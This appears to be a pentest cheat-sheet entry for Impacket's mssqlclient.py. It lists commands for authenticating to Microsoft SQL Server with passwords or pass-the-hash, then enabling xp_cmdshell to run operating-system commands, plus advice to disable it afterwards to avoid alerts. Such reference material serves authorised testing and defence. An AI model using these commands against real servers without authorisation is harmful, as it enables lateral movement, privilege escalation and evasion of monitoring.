DΛΣMӨП

Catalog WADComs

WAD · Tool

Impacket-mssqlclient

2 techniques Linux · ActiveDirectory · WindowsWADComs GPL-3.0

Impacket-MSSQLClient

NEW
Lateral MovementEnumeration LinuxActiveDirectoryWindows

mssqlclient.py from Impacket opens an interactive TDS session against a Microsoft SQL Server. It supports plain SQL logins (the local sa or a mixed-mode account) as well as Windows/domain authentication via -windows-auth, which forces NTLM instead of SQL auth. Pass-the-hash works by supplying -hashes LMHASH:NTHASH instead of a password. Use it as the entry point for all further MSSQL abuse (enumeration, xp_cmdshell, linked servers). Command Reference: Target IP: 10.10.10.1 Domain: test.local Username: john Password: password123 NT hash: 2a3de7fe356ee524cc9f3d579f2e0aa7

# SQL authentication (mixed-mode / sa account)
mssqlclient.py test.local/john:password123@10.10.10.1

# Windows (domain) authentication over NTLM
mssqlclient.py test.local/john:password123@10.10.10.1 -windows-auth

# Pass-the-hash with Windows auth
mssqlclient.py -hashes :2a3de7fe356ee524cc9f3d579f2e0aa7 test.local/john@10.10.10.1 -windows-auth
Native
Lateral Movement, Enumeration
Requires
Username, Password
Services
MSSQL

Impacket-MSSQLClient-XPCmdShell

NEW
ExecutionPrivilege Escalation LinuxActiveDirectoryWindows

Once connected with mssqlclient.py, the built-in enable_xp_cmdshell command flips the xp_cmdshell advanced option on (via sp_configure), and xp_cmdshell then runs arbitrary OS commands as the SQL Server service account. This requires sysadmin (or equivalent) on the instance. Disable it again with disable_xp_cmdshell to reduce footprint; enabling xp_cmdshell is noisy and commonly alerted on. Command Reference: Target IP: 10.10.10.1 Domain: test.local Username: john Password: password123

mssqlclient.py test.local/john:password123@10.10.10.1 -windows-auth

# At the SQL> prompt:
SQL> enable_xp_cmdshell
SQL> xp_cmdshell whoami
SQL> disable_xp_cmdshell
Native
Exploitation, PrivEsc
Requires
Username, Password
Services
MSSQL